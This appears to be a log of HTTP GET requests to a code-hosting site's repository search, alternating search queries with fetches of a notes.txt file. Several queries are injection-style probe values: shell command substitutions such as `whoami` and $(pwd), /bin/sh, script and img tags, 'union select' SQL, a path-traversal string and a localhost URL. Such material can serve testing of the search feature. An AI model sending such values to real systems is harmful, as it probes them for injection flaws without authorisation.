{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
